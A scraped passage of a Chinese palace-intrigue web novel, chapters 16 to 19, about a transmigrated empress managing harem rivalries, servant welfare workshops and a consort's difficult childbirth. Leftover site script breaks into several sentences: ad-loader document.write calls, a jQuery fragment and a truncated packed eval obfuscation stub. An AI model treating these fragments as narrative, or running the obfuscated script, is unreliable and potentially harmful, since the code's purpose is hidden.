这些年来,他们看着皇后做了太多出力却不讨好的事,说了太多出于公平却让人不屑一顾的话,都暗自为皇后感到委屈,却又无可奈何。 接下来的时间里,卓辉又将他借助出宫查案的机会,在外联系他们留在宫外人手,得到的反馈一一禀报。 “……现已联络上的,已有一千出头,真正与宫外有勾连的,早都有了各自的去处,精明能干的,也为自己找好了营生,这一千二百多人,应当都是真正清白的,早与家人失联,无处可依,靠着宫里发放的那点遣散费,抱团在一起,勉强度日。” 柳明月露出一丝微笑,这可是一批难得的人力资源。 “都是些可怜人,本宫当年也是迫于形势,才不得不将他们都遣散出宫,每每想起,本宫这心里都不是滋味,总要将他们都安置一下,给个活路才好。” 叶兰赶紧劝道,“娘娘当年会做出那个决定,也有皇上的意思,而且娘娘已经顶着压力,给出最高档的遣散费,不管那些过得如何,娘娘都不必如此介怀。” 柳明月努力蕴酿出悲天悯人的情绪,语气坚定的回道。 “话不是这么说的,若是像之前,本宫有心无力也就罢了,如今咱们手上宽裕些了,本宫还是要做些什么,也算是了桩心事。” 见皇后再次犯倔,叶兰只得放弃再劝,好在也正如皇后所言,伴随着皇上陆续送来的大批赏赐,皇后的私库空前富了起来,应该能经得起一些耗费。 自从柳明月借筹备祭典的名义,将后宫嫔妃、皇子、公主请安的频率,改为五天一次后,就没再改过来。 谁都不是傻的,从一天一次的请安改为五天一次,对他们更有利,他们当然都很拥护。 哪怕见面的次数少了,也能及时看出某些妃嫔身上,所出现的某些看似不明显的改变。 柳明月虽有发现,知道自己当初制定的‘打造宸妃周边’的计划,现 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 已初见成效,但她直接视而不见。 她目前的地位稳定,在皇上面前屡刷好感,连太子都已获得上朝观政的资格,与那时几乎是在被废边缘徘徊的困境大不相同。 初来乍到之际布下的局,能否奏效,已不在柳明月的重点关注范围内,当然是无视就好。 与柳明月毫无察觉般的无动于衷相比,居承福宫主殿的常贵妃就有些坐不住了,近些日子已相继销毁多套茶具、花瓶等瓷器。 柳明月只当作不知,反正宫规守则中有注明,妃嫔们都有各自的份例,一旦被损毁,需其自行出资购买。 承福宫的掌事如意姑姑,正耐心劝慰着常贵妃。 “您有皇上最宠爱的五皇子,满宫的谁都比不上您在皇上心目中的位置,不过是些眼皮子浅的东西,娘娘跟她们计较,岂不是失了身份?” 就像那位中宫,就算无宠,她只要牢牢把着个‘贤’字,连皇上都得给足应有的尊重和体面,甚至还在前朝为其宣扬。 当然,如意姑姑也只是在心中这么想想而已,她可不敢将这话说出来,那样只会更加刺激到贵妃娘娘,若非必要不能轻易提及。 只是常贵妃仍觉愤愤不平。 “那几个贱/人!不过是近日刚见了几次皇上,就敢在本宫面前耀武扬威,可是碍于宫规,本宫还无法惩罚她们,你让本宫如何咽得下这口气?” 眼看常规的劝说方式已经无法奏效,如意姑姑只好施展出撒手锏。 “就算是为了五皇子,娘娘也得咽下这口气,中宫占据着正统名分和大义,又处处彰显自己的公正、贤惠、大度,以往因为太爱较真,常惹得皇上不喜,还不足为惧,如今她显然已经意识到问题,处处迎合皇上,皇上的态度也立刻就变了,所以娘娘您要知道,您的对手可不是那几个暂时讨得皇上欢心的小妃嫔。” 果然,一提到中宫,常贵妃的情绪立刻平稳多了,恨声道。 “不错,那几个小贱蹄子还不配做本宫的对手,重点是坤元宫的那个,她如今做事,是越来越滴水不漏了,我们必须要尽快将她和她的小崽子都给处置了才好,要不然,只怕拖得时间越久,他们越势大,防范得也越严。” 如意姑姑低声道,“这段时间以来,因为赵婕妤遇袭的事,宫里管得更严了,不仅我们不便往外传消息,外面的消息也很难传进来。” “那赵淑娴就是个蠢货,要不是她走运,遇上个一心要贤名的皇后,现在的坟头草都长起来了吧,害了自己不说,还连累旁人。” 如意姑姑也不敢反驳什么,陪着笑道。 “所以娘娘在接下来一定要稍安勿躁,沉住气,等到咱们所谋的大事成功后,那些人的死活,还不是您一句话的事。” 这番展望显然让常贵妃感到很愉悦,心情明显好了起来。 “嗯,你说得不错,本宫跟她们计较,乃是自降身份,她们还不配。” 如意姑姑暗自松了口气,赶紧挑常贵妃爱听的话题说了起来,丝毫不敢说出她的真实想法。 这都过去十多年了,宫里突然相继冒出好几个,或五官某处、某气质、或神态动作像那位的人,怎么看,都不像是意外,而是来者不善。 她家贵妃本就是享那位的遗泽,才能在这后宫获得独一份的殊荣,说是宠冠后宫也不为过,五皇子所受的宠爱,更是在太子之上。 若是这一局面被打破,他们所谋之事,可就难了。 想到这里,如意姑姑就觉烦恼不已,现在不便与宫外联系,她连找个人商量的机会都没有。 16.第 16 章 徐庆业当然也有察觉到后宫出现的异样,自打看过赵婕妤遇袭一案的案卷后,他表面上不动声色,实则已对后宫生出防备之心。 对于近期出现的这几次看似巧合,却是接幢而至的美人偶遇,他虽然很享受,但是与此同时,他也很警惕。 所以他迅速派人召来邱月,“近日的梁贵人、李美人、杨选侍、王才人,都是怎么回事?” 邱月对此早预感,态度恭敬而又坦荡的回道。 “回禀陛下,奴婢在注意到近日的动静后,就赶紧打听过,原来是昔日侍侯过宸妃娘娘的几个人,被分别派到这几位娘娘身边了。” 徐庆业立刻反应过来,下意识皱眉道。 “她们之前也在宫中?在何处当职?” 邱月难掩心虚的跪地请罪。 “回禀陛下,此事与奴婢的私心有关,那些人在宸妃娘娘去后,本来都各有各的去处,只是这几人在后来过得很不好,便报名参加数月前的那批宫侍的甄选,奴婢得知此事后,念及当年曾共事过的旧情,便将她们带进宫来,想让她们有较为安逸的栖身之地,还请陛下恕罪。” 听到邱月的话,徐庆业不仅没有怪罪她的意思,还颇有些感慨。 “朕知道你向来是个有分寸的,只是你当年和静姝的感情好,会照顾她留下的旧人,不足为过,这次的事情就算了,起来吧,以后下不为例。” 邱月赶紧谢恩,站起身后,又向皇上汇报了一下后宫的近况,才恭敬的退了出去。 她能感觉得出来,由于此次提及那些已变得有些久远的过往,皇上对她这个过去的掌事丫鬟又亲近了不少。 这很重要,毕竟她被任命为宫令后,虽然地位更高,权柄更大,但因失去在皇上近前侍侯的机会,她在皇上心中的位置也在逐渐下降。 好在这次又趁机挽回了一些,这正是她在当初毫不犹豫的答应皇后的建议,且积极照做,还愿主动将事情揽在自己身上的原因。 事实上,她与当年只是宠妾,后来被追封为宸妃的那位,根本谈不上感情好,不过是面子情而已。 但是皇上是要做大事的人,哪里知道后宅的那些人际关系问题,随着另一位当事人辞世,当然是她说是怎样就是怎样。 她有意让皇上知道自己与那位感情深厚,皇上就不会怀疑她与皇后有私交,从而在有需要时,选她出来做制衡皇后权力的那个人。 因为皇上也很清楚,他的正室原配,对那位的心结极深,会平等的反感与那位有关的一切人与事,却又出于自身修养,不会真正采取什么针对行动。 知道那几个低位小妃嫔身上发生变化,是邱月无意间的举动所导致的后,徐庆业就放心多了。 最直接的表现,就是在后宫逗留的时间更久,更为宠爱那几人了。 好在他的理智尚存,只是多给了些物质方面的赏赐,没有随心所欲的为几人提升位份。 这一现象给柳明月带来的最大影响,就是每次轮到众妃嫔过来请安,都聚集到坤元宫的前殿大厅中时,那些资深的潜邸老人,都会用意味不明的眼神偷窥她。 柳明月直接将这些眼神视若未睹,她可不是曾经的原主,会对一再为其命运带来巨大转折和影响的那位心存芥蒂。 即便时隔多年,事过境迁,也始终无法释怀。 而那位,正是徐庆业当初求而不得,从而导致原主嫁给他的白家千金,白静姝。 若事情到此为止,原主也不至于会因此而怪到对方身上,关键在于,正当原主和徐庆业的夫妻感情正好,先生下一女,又怀上孩子时,白静姝又出现了。 这次的白静姝是以新婚丧夫的寡妇身份出现的,初被徐庆业不计前嫌的留在身边时,原主出于同情,对其也多有照顾。 没过多久,原主就发现这位是带着抢她丈夫的目的来的,想让徐庆业将其送走,却被拒绝,后来的结果很明显,原主压根不是人家白月光的对手。 忙着打天下的徐庆业很难长时间停留在一处,原主因怀孕不便,被留在相对较安全的地盘上养胎生子,白静姝则跟在徐庆业身边,随大军到处迁徙。 两人的感情可以说是一日千里,好得如胶似漆,连被留在后方的原主也有听闻,知道她的丈夫身边有个被宠上天的夫人,给正在怀孕中的原主带去巨大伤害。 当原主辛苦生下孩子,也就时如今的太子后不久,又收到白静姝有孕,依旧跟在徐庆业身边四处征战,引得无数人赞颂两人感情好的消息。 若非白静姝可能是因一直跟着大军奔波,导致她在孕期没有养好,从而在生子时难产去世。 以对方的受宠程度及心机手段,原主还真不一定能保住自己与儿子的正统地位。 毕竟在那一两年中,徐庆业身边的人都将白静姝尊为夫人,有意无意间将原主这原配无视,或者说是遗忘。 再次翻出原主的这段深刻而又痛苦的记忆,柳明月突然发现一个此前没被她注意到的重点。 白静姝难产而亡时,对外传出的消息是一尸两命,也就是说,大人和孩子都没保住。 若她没有记错的话,常贵妃膝下那位五皇子的出生日期,似乎与白静姝难产的时间点相隔不远。 五皇子的长相与常贵妃有三分相似,四分像徐庆业,所以原主也不曾怀疑过这对母子的血脉关系。 不过有着原主记忆的柳明月却知道,常贵妃与白静妹是姨表姐妹,两人的长相至少有六分相似。 若五皇子其实是白静姝和徐庆业的孩子,那么会出现充常贵妃的儿子却不会被人查觉的现象,就不足为奇了。 凡事都是有因才有果,为什么要这么做呢? 柳明月又仔细想了想,然后就想到了,是因为白静姝的身份。 她不仅拒绝过徐庆业的求娶,还在另嫁他人的新寡之际,无名无分的跟了徐庆业,白静姝若是好好的,还能有机会设法消弥这段不堪过往所带来的负面影响。 可是随着她因难产而过世,那个生得名不正言不顺的孩子,就要面临她的身份隐患所带来的骂名了。 在这种情况下,从白静姝的亲戚中,寻一个最有可能继承其余荫的女子给孩子当母亲,就能顺利洗白那个孩子的身份。 再联想到这些年来,常贵妃只要见到皇上,就会拿五皇子当话题的表现,时常利用五皇子邀宠、截宠的行为,柳明月觉得,她应该是发现真相了。 不过柳明月即便发现真相了,现在也不打算做什么。 白月光的威力,叠加白月光因为其生孩子而死在最美年华的威力后,效果的确不容小觑,在十余年后,依旧存在。 但是柳明月又不是原主,对那夫妻之情、男女之情都不感兴趣。 所以她要做的,就是成为在事业上,能获得徐庆业的信任和重视的贤内助。 先稳住自己的皇后之位,兼在私下发展自己的势力,等到有了一定的积累,才能考虑如何帮便宜儿子保住他的继承人位置。 像现在这般,在他们母子没有外戚势力作依仗的情况下,身份地位都取决于徐庆业的意愿,实在太让人没有安全感了。 所以柳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 明月像是丝毫没有发现后宫的暗潮涌动,当别的妃嫔在她面前挑唆,希望她还能像以前那样,去找皇上谈话,要求对方要雨露均沾时,她根本不搭腔。 这让叶兰等人松了口气的同时,也有些疑惑。 “还好娘娘这次没再搭理她们,打量着谁不知道她们的小心思似的,每次都让娘娘出面得罪皇上,她们得了好处还不念娘娘的恩德。” 柳明月当然知道原主是出于什么心理,才会在明知自己落不了好的情况下,一而再,再而三的在那些妃嫔的挑唆下出头。 为了将自己的改变合理化,她边修剪花枝,边组织语言,以感慨的语气解释道。 “本宫过去是出于身份考虑,才会应她们所求,去劝谏皇上,现在不去,则是因为想开了,皇上毕竟也是人,也有属于他的个人爱好和自由,本宫应该尊重,而不该真将他当做圣人,强求他去做自己不愿意的事,现在想想,还真觉得有些对不住皇上,毕竟是第一次当皇后,没经验,就照葫芦画瓢的做了不少难为人的事。” 徐庆业悄然走过来时,正好将这段话听在耳中,失笑之余,还有些感同身受。 “不仅皇后是第一次当皇后,朕也是第一次当皇帝,都没有经验,所以,不管我们谁做错了,都相互理解一下吧。” 柳明月听到这个突如其来的声音,赶紧转身福身行礼的同时,也觉有些不大好意思。 “多谢皇上大度,有您的这句话,臣妾就放心多了。” 徐庆业心情很好地笑着伸手,“皇后不必多礼,是朕失礼了,吓着你了吧。” 二人说笑着去□□看了下太子依旧负责打理的那块地后,才一起回到延明殿内,叶兰等人随即奉上茶水点心。 “皇上来得正好,臣妾这里恰有一事,想要与您商量一下。” 知道皇后这次要说的,肯定不是再劝他要雨露均沾的事,徐庆业放下手中的茶杯,心情很好的回道。 “要朕说,只要是与前朝和百姓无关的事,你一个人拿主意就是了,没必要太过谨慎。” 柳明月笑着解释道,“臣妾曾听闻,皇帝无家事,做一个当家夫人,跟当皇后不是一回事,而且臣妾毕竟是妇道人家,在有些事情上,难免考虑不周,有皇上帮忙把把关,臣妾这心里就踏实多了。” 这番情真意切的话,让徐庆业听着也觉很踏实。 “好吧,你且说,朕洗耳恭听。” 柳明月便借卓辉上次出宫办案一事说起,讲了下前因,重点描述了一下那些人当下的惨状,然后再说自己的想法。 “臣妾想着,现已基本确定,他们当年都是因无辜受牵连,才被一起遣散出去,现如今,他们早就无家可归,过着上无片瓦下无寸地的日子,那点遣散费总有花完的时候,总要给他们寻个营生才好。” 听到柳明月提及承天元年遣散出宫的那批宫女内侍,徐庆业还有印象,毕竟他在前不久才听何忠提起过。 “说起那批人,朕也有印象,好像是因丽嫔小产,才被遣散出宫的,皇后考虑得很对,他们虽曾是旧朝宫侍,但是现在,也是我们大安的子民,你我有责任要好好安置他们,不知皇后打算怎么做?” 柳明月有些不好意思的回道。 “臣妾想的是,您这段时间以来,不是赏了臣妾不少财物吗,臣妾就想拿它们做本钱,派人去外地找几处合适的地方,开办一些作坊,让他们到作坊中做事,由作坊为他们提供吃住,再给点儿月钱,毕竟那些人不是身体残缺的内侍,就是身体孱弱的妇孺,让他们去种地,实在不现实。” 17.第 17 章 徐庆业是真正草根出身的皇帝,前大半辈吃尽底层民的苦,后来争天下时,又见过无数百姓在战火之中挣扎求生的苦难。 如今不过时隔三年,他当然还未忘记那一切。 那些被遣散出宫后,没有返乡,而是留在京城附近艰难求生的宫人内侍,多是在那些年的战乱中,为求活命被卖或是自卖自身的可怜人,已无家人可寻。 “皇后有心了,不过要做成这件事,需要的本钱不少,不能让你将私库地里的那点体己,都花在这上面了,由朕来出。” 柳明月微笑着为其添茶道,“陛下的好意,臣妾心领了,只是臣妾虽然见识有限,对前朝国事并不了解,但也想像得到,您所要面对的那一大摊子,需要用钱地方更多,哪能让您出这个钱呢,只要您别嫌臣妾多事就好。” 听到这话,徐庆业着实有些受触动,外人看到的都是他能登上皇位的无上荣耀,只有他的妻子知道,他其实很不容易。 面对一个饱经战乱的国家,对内他需积极恢复民生,整顿国内各项秩序,对外还要面临周边多个势力的虎视眈眈,应对时有发生的战争。 不管是为发展与促进民生,还是要守卫边防,都需要用钱。 前朝皇族被灭后,这座皇宫其实又相继迎来过数任主人,不过是都没坐稳皇位丧命而已。 经过前几位的各种侵占与洗劫,本就被前朝末帝给挥霍得的空空如也的国库与皇帝私库,根本没给他这个后来者留下什么。 徐庆业完全是靠着自己的积蓄,各方势力送的贺礼,以及在开国时,将一大批贪官污吏及前朝贵族抄没家产,才勉强凑了些开国资金,用以维持朝廷的运转与开支。 三年过去,虽已摆脱最初的经济窘境,但也只是相较而言,稍宽松了些,绝对谈不上富裕。 不过徐庆业也没有再就这个话题多说什么,回乾元宫后,就让何忠送来三万两银票。 既然人家坚持将钱送来了,本想独资的柳明月也只好收下,打算将那三万两银子折为皇上或太子的股份。 柳明月是为将自己想要开作坊做生意的事过明路,才拿那批被遣散出宫的宫人内侍作由头。 不过她也绝对不会亏待那些人,而是打算将那批纪律性强,又经历过太多生死起落的可怜人,安排到合适的位置上,让他们在余生过上各方面都有保障的生活。 而徐庆业的反应,也在她的预料之中,毕竟在其看来,那一千多宫人内侍,根本做不了什么事。 他现在花三万两银子成全她这个皇后的‘仁善’,将来在有需要的时候,还可以拿出来宣扬一番皇后惜老怜贫的贤良淑德,皇上仗义疏财的仁慈大方。 几个月下来,柳明月已经彻底将皇后应该承担的工作梳理清楚,还逐步做了各种改进和调整,将相关事务都给安排相应的负责人。 再加上她身为皇后,处在主要负责发号施令的位置上,本就很少有需要她亲自出面的的事。 让原主感到最麻烦的查帐、制定预算、以及操办各种宫宴活动等活,在她这里则是根本不算事,也不怎么花时间。 所以除了不得不花时间接见的太子、妃嫔、皇子公主,以及少数不便拒绝的外命妇觐见外,柳明月的空闲时间在逐步增多。 在这个没什么娱乐消遣的时代,柳明月选择用看书来打发那些无聊的时间,消耗无处发泄的精力。 柳明月什么书都看,从读书人学的圣贤书,到各种史书、地理游记、野史杂谈等,她都看,目的是要能过大量的阅读,增强她对这个世界的了解。 叶兰等人对此不仅不觉有异,还感到很欣慰。 毕竟原主在闺中以及新婚后的那几年,日子过得还算顺心时,最大的爱好也是看书,只是看的主要是女诫、闺训、贤后传、烈女录之类的书。 虽然皇后现在的看书偏好与以前不同,但是在叶兰等看来,这很正常。 毕竟他们的主人之前只是一个内宅妇人,如今却是母仪天下的皇后,各方面都与过去不同,会出现这种改变很正常。 同时也还有着另一个原因,就是当前的后宫中,充斥着太多与‘宸妃’有关的信息,他们担心皇后会受影响。 从而又因那过往那些恩怨与皇上生嫌隙,刚得到缓和的帝后关系再次变得生疏冷漠。 柳明月不知道这些人的担忧,她对后宫每天都在上演的一幕幕争宠闹剧,并不感兴趣。 只要那些纷争没有违反宫规守则,大半都没有机会被禀报到她面前,就能被相应的负责人给处置好。 哪怕连常贵妃在内的众妃嫔在五日一次的请安会上,总想暗戳戳的鼓动她要出面,压下当前风头最盛的那几位小妃嫔,她也不予理会。 通过大量的阅读,叶兰对当前的社会文明、农业生产力及经济发展水平等,都有了个大概的了解。 玉米、红薯、木薯、土豆之类的高产作物,还都没有出现,就连棉花的种植,都没有得到大范围的推广。 在柳明月的认知中,这些都是用来解决百姓饥寒的必要物资。 可现实是,这个时空的社会发展程度,与她所在的那个时空中的历史发展进程,基本没什么区别。 这些信息让柳明月的心情有些沉重,可她只是一个非常普通的异世来客,仅拥有从另一个时空的历史文明中,提取出的一些技术理论与经验而已,并不具备什么特殊能力。 所以,即便她会发自内心的同情这个时代中的那些,生活困苦,遭受种种磨难的底层百姓,现在也做不了什么。 因为想要做事,就离不开钱和权,且是海量的钱与绝对的权力。 而她,才刚刚开始实施赚钱计划,不确定需要多长时间,才能赚到钱,更不确定还需多长时间,才能赚取够用的钱。 至于权,柳明月已拥有在大安一人之下,万万人之上的皇后之位,如何能获取相应的权力,却需长时间的用心经营和努力争取。 前几个月,也就是初来乍到之初,柳明月想要权,为的是能自保,在对当下这个世界有了更多的了解后,她想要权的目的,又增加了一个,就是能为她以后要做的事提供保障。 不过无论是之前,还是现在,柳明月都没想过要将徐庆业取而代之。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>且不说想要这么做的话,将要面临的难度与风险有多大,以及会为这个尚处开国之初的皇朝,带来多么大的覆灭危机。 更为重要的是她有自知之明,知道自己没有能力把握当前这个朝野上下群雄并立,形势十分复杂的开国皇朝。 何况真要论起来,她的智商与能力在许多本时代的人面前,压根就不够看,所能依仗的,不过是她生活在另一个世界中时,所积累的那些知识经验与见识而已。 作为一个成绩优异的文科博士,柳明月当然具有文科生该具备的一切基础天赋。 例如格外优秀的记忆力、语言及理解能力,否则背不下那么多的诗词与历史等文字内容,也回答不好各种阅读理解与心得体会等题。 能够毫无挫折的顺利读完博士,成为导师心中的得意弟子,足以证明她在文科生中,也属天赋比较优秀的那种,肯定不缺乏出色逻辑思维与艺术感受力等。 而这一切,在掌握着权力与心机手段的开国之君和权臣等人面前,根本没有发挥余地。 与柳明月这个皇后的悠闲相对比,邱月这位宫令,则是每天都过得很充实。 不过对她而言,即便忙得身心俱疲,她也乐在其中。 皇后愿意放权,也就意味着她的权柄得以加重。 哪怕她与皇后之间存在不宜暴露的私交,可是由于两人的权责存在交叉,彼此之间难免会因某些事产生分歧,关系也就有些微妙。 如今随着皇后行事变得更为低调洒脱,很少再直接干涉具体事务,邱宫令算是少了一大压制。 即便皇后仍是掌控全局的那个,她仍受来自被下放给坤元宫的宫人内侍的权柄制衡,邱宫令也觉得现在的日子,比从前更舒心。 这也就使得邱宫令对皇后的印象更好,好到愿意主动做些投桃报李的行为,成全皇后私下里的某些筹谋。 “……娘娘,这是微臣在您的建议下,有意露出一些破绽后,获取到的一些信息,微臣已将其写成奏表,准备给呈交给皇上,不知娘娘可有异议?” 柳明月打开对方递过来的一份文书,不吝赞赏的夸奖道。 “邱宫令办事,真是一如既往的仔细周到,本宫当然放心,事关前朝后宫,的确有必要让皇上知道。” 文书中所记录着的内容,堪称是后宫某些妃嫔、宫人、内侍与宫外联系的言行录,日期也标注得很清楚,言简意赅,让人看着一目了然,是她一直在推广的记事风格。 “娘娘不吝赐教,微臣当然不会辜负您的厚望。” 邱宫令离开坤元宫时,那份文书当然也就顺理成章的留了下来,柳明月将之交给内侍李和。 “李和,对比我们所掌握的那些,都给仔细整理到网图上。” 李和接过那份文书告退后,就去书房中忙活。 他本是管着庭院洒扫之类得杂务的小管事,尤为擅画,记忆力好得出奇,为人却是特别调,素日里的存在感不强。 柳明月发现他的这些特长后,虽然没有在明面上提拔他,只是令其亲自负责书房里的打扫工作,但在私下里却很重用他。 18.第 18 章 在注意到皇后的这些变化的有心人看来,都认为她是因为皇上对宸妃所表现出来的怀念与重视,感到伤心失落,才会变得这么消极,将时间与精力耗费在大量书籍中。 这些有心人中,甚至包括皇上,毕竟身为当事人之一,他早在夫妻二人当年发生过的无数争吵中,就已察觉到妻子对白静姝的憎恶与反感。 而且他也知道,在这件事情上,的确是他理亏,为一个曾折辱过他的女子,深深伤害了他的妻子。 即便在他与柳家结亲的这件事情上,也存在一些不宜让外人知道的龌蹉。 但是谁也无法否认的是,他的妻子从头到尾没有做过任何对不起他的事,还确实为他挽回了在白家丢失的颜面,从而极大的巩固了他当时在义军中的地位与声望。 这也正是他虽厌恶部分柳家人,与妻子的关系早已变得冷淡疏离,却仍给了他们应有的身份与地位,与柳家维持面子上的亲戚关系的原因之一。 不过徐庆业觉得,感情的事,实在没有办法勉强。 他就是喜欢白静姝,看到有与白静姝存在相似之处的女子,都会不自觉的偏爱几分,只能在感情上对不起对他情深义重的妻子。 因怀着这种难以言说的愧疚,他去坤元宫的次数再次大减,只是为了表明自己对皇后依旧很满意的重视态度,会隔三差五的派人给坤元宫送东西。 本就没有产生什么矛盾,徐庆业愿意表现,柳明月当然也很愿意配合,从而继续为外界营造帝后和睦的景象。 柳明月不知道,或者说是并不在意外界对她的种种猜测,继胡才人顺利诞下八皇子后,曾差点将自己折腾流产的赵婕妤,也到了临产时期。 凌晨收到赵婕妤提前发动的消息,柳明月不禁皱眉。 “提前了半个月?又发生什么意外了吗?” 叶兰边边辅助她穿衣服,边回道。 “没听过来传话的宫人提起,应该不是因外力所致。” 那样最好,柳明月点头道。 “人手都是提前准备好了的,现在都到齐了吧?” 就算到齐了,她这个皇后也得亲自过去看着,为丈夫的小老婆生孩子护航,这就是这个时代的正室大老婆该有的修养。 与此相对应的是,皇上这个孩子亲爹,可以丝毫不受打扰的安心睡,等到人家睡醒起床后,去通知一下即可。 柳明月到时,邱月已经到了,赶紧上前请她在正厅上首坐下的同时,亲自向她介绍当前的情况。 “……赵婕妤终究还是被上次的事给吓着了,这段时间一直紧张得很,哪怕有皇后娘娘的体恤,恩准婕妤的母亲隔三差五的进宫陪伴,也没多大改善。” 心理素质如此糟糕的人,竟然能在做出害好姐妹流产的恶行后,若无其事的继续与人家做好姐妹,然后借着悉心照顾小姐妹做小月子的行为,邀宠成功,进而怀孕。 显然对这类人而言,只要不是痛在自己身上,他就能无所谓的漠视其他生命,一切皆从自身利益考虑,没有道德乃至法规底线可言。。 听到旁边的内室中不时传出的嘶喊声,柳明月皱着眉忍了又忍,终于忍无可忍。 “还没到正式生产时刻,她这么喊下去,到时还有体力生孩子?” 芳仪进去问明情况后,出来禀报道。 “娘娘,稳婆和医女一直在劝赵婕妤,宫口开得不够,还需要时间,请她先尽量忍着保存体力,可是赵婕妤不听,还一直要求初夏去请皇上过来。” 这是想要借机邀怜,以消皇上对她的恶感?可惜,若只是因她任性导致其差点流产一事,她的这点小心机还有可能得逞。 可在查到她对许昭仪做的事情后,就算是出于前朝利益考虑,且赵家付出了相应的代价,令皇上不仅将案卷封存,也没有处罚她。 但是皇上绝对已彻底厌弃了她,对她的厌弃程度,甚至尚在害她差点小产的许昭仪之上。 “邱宫令,传本宫口谕,皇上政务繁忙,没空过来,本宫命她要全力配合稳婆与医女的安排,继续喊下去,若她在生产时无力配合,本宫会命医女直接刨腹取子,以免胎死腹中,本宫与皇上在她身上耗费的一切全都白费。” 邱宫令算是经历过大风大浪的人,此刻听到皇后面不改色的说出要刨腹取子的话,也忍不住脸色一白。 “微臣遵旨!” 从随之便戛然而止的反馈中,可以充分看出那番话的威慑力足够强大。 “还是皇后娘娘有办法,婕妤娘娘果然消停了。” 面对芳仪的恭维,柳明月只是不动声色的哼了一声。 作为一个道德感很强的人,她也十分反感像赵婕妤这种心毒手狠之人,可她却不得不耐心的坐在这里关照对方,这种憋屈和无奈,根本无人能懂。 不过她已经淡定了,有过从一个母单活到二十七岁的女青年,变成一个已有三十三岁,儿女双全的皇后的奇迹经历后,这世上还有什么事,是她所不能承受的呢。 没过多久,何忠带着两个内侍过来,传达了一下皇上的口头关心、问候与鼓励,留下两个内侍实时关注这边的情况后,就匆匆离开。 柳明月在玉华宫草草用过早饭,又用过午饭,处理完一些紧急宫务之余,顺便看完半本书后,才等到期待已久的消息。 担心焦急之类的情绪,是压根就不存在的,留在这里,不过是为履行皇后之责而已。 可能是被皇后说的‘刨腹取子’给吓着,赵婕妤在后来配合得很,不仅不敢再喊叫,还该吃就吃,该走动就走动,所以正式生产时,没怎么折腾,就顺利产下一子。 那是一个声音啼哭声微弱,十分瘦小的婴儿。 很明显,那次的事故给孩子带去的伤害已不可逆,就算后来一直不惜代价的精心保胎,也只是像太医当时所说得那样,勉强保住小命而已。 看了眼被包裹在包袱中小婴儿,只觉娇弱无比,柳明月可不敢抱。 “快把九皇子抱回去好好安置,速去给陛下道喜,赵婕妤已平安产下九皇子,真是可喜可贺。” 在场谁都能看得出来,以九皇子的虚弱模样,没什么可喜可贺的,但是众人还是一致表达恭贺。 早上知道消息后,陆续赶过来的众妃嫔中,有不少人甚至在幸灾乐祸。 收到九皇子已平安出生的消息后,徐庆业才终于驾临玉华殿,。 “不必多礼,皇后辛苦了!” 带着众妃嫔福身行礼的柳明月站起身,笑吟吟的回道。 “此乃妾身份内之事,当不得辛苦二字,虽然赵婕妤母子平安的结果,没有辜负臣妾的一片苦心,但是之前有过一些小波折,令臣妾不得不在关键时刻行非常之举,还请皇上恕臣妾失言之过。” 徐庆业有些不解,何忠留下的一名内侍迅速上前,小声为他解释了一下皇后会有此话的原因。 听完之后,徐庆业虽然难掩意外之色,但他语气坚定的说道。 “赵婕妤能平安产子,皇后当居首功,期间是为赵婕妤和九皇子的生命安全着想,才会以言语相胁迫,属非常时刻的无奈之举,何过之有?” 对柳明月而言,剖腹产乃是再正常不过的生产方式,所以她为威胁赵婕妤,随口就说出去了。 直到她发现话出口后,将连邱宫令在内的众人都给吓住了,她才意识到,对这个时代的人们而言,那是一种非常残忍的行为。 所以她当即决定,要主动将这件事报备一下,公开将此定性为好心的无奈之举,这样一来,别人只能赞扬她这个皇后大义,而不是质疑她心狠手辣。 事实也正如此,徐庆业这个皇上在听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柳明月有察觉到徐庆业在那一瞬间的想法,但她压根就不打算接茬,才会用‘我就静静看着,你怎么好意思开口?’的眼神盯着对方。 就算对方开得了口,她也不会同意。 她关照赵婕妤母子,既是出于身为皇后的责任,也是出入人道主义,没有半分私人情义讲。 在这个时代,不仅皇后,所有正室嫡母,名义上都担负着照顾,甚至是教养庶出子女的责任。 可是柳明月敢肯定,除了极个别的特例,没有任何一个嫡母,真心愿意养育不仅和自己没有关系,还会与自己的孩子争夺资源的庶出子女。 而那些庶出子女长大后,也未必会承认嫡母的养育之恩,皇帝家更是如此。 在皇后自己生有皇子的情况下,其他所有庶出皇子都是皇后母子的对手。 别说是养别的皇子,让别的皇子出生,都是为自己儿子增加对手。 古往今来,所有登上皇位的人,首先要做的事,就是为自己的亲生母亲封太后,很少会有真正善待自己养母的皇帝。 而那些皇帝若不是嫡出,没有一个会真正敬重与孝顺嫡母,史书上所呈现出的信息,也与其嫡母无任何关系。 所以,别说原主给留下的有个便宜儿子,就算没有,柳明月不愿做这种吃力不讨好的窝囊事。 徐庆业也就九皇子的情况,亲自敲打了一下玉华殿的人后,下令要按例封赏后,就匆匆离开,压根就没想过要去看望赵婕妤一眼。 在这份例行封赏中,赵婕妤没被按例提升位份,只是赐了个封号:思,享昭仪待遇,赏赐的物品,当然也就是按惯例该有的那些,没有用作表示特殊恩宠的额外赏赐。 不知思婕妤自己知不知道那个封号的意思,但是柳明月和邱宫令等人都知道,且都对此感到喜闻乐见。 毕竟相较于上一位在临产之际,不仅不闹腾的主动配合,还有些讨好众人的胡才人,也就是如今的胡美人,这位实在折腾人了些。 即便在被皇后吓住后,消停了些,开始配合了,但其要求众多,总觉各种不适,疑神疑鬼,将在场众人折腾得不轻,只是没敢再闹到让皇后知道罢了。 19.第 19 章 柳明月对自己在后宫中的身份定位很清楚,权责也弄得十分清晰明了,所以她只做自己不得不做的那些,绝对不会做多余的事。 对思婕妤母子,尤其是九皇子,她当然是以超级别的特殊待遇对待,从衣食住行,到照顾与每日见他的人,都需经过层层审查确认,确保九皇子就算出什么问题,也与她和坤元宫沾不上边。 就像她不愿像之前的原主般,将大半时间与精力,都耗费在处理因妃嫔争宠而引起的各种纷争上一样,她更不愿将心神耗费在一个与她无关的婴儿身上。 